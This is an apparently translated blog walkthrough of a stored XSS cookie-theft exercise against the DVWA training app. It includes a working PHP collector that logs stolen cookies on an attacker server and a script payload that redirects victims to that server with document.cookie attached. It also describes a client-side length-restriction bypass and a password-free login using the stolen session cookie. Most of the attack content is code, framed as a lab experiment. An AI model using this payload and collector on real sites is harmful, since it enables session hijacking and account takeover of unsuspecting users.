Storage xss stealing cookie experiment

Statement: For communication use only, illegal crimes are strictly prohibited, otherwise you will be responsible for the consequences

1. Prepare the environment for receiving cookies:

    

ip is 172.24.10.105

The code is: save as getCookie.php

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "w");
fwrite($log, $cookie ."\n");
fclose($log);
echo "Attack successful";
?>


2. Insert js code in the experimental environment:

<script>document.location='http://172.24.10.105/getCookie.php?cookie='+document.cookie;</script>


Remove the restriction by inspecting the element, then insert the js code

1.png

2.png

Then revisit this page and find that a jump has been made

2.png

and saw the cookie on the platform that received the cookie

1.png



Change the browser to set cookies



clipboard.png



direct interview:

http://127.0.0.1/DVWA/

Successful login without password

1.png






Welcome to the WeChat public account

1519466375966779.jpg

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325982442&siteId=291194637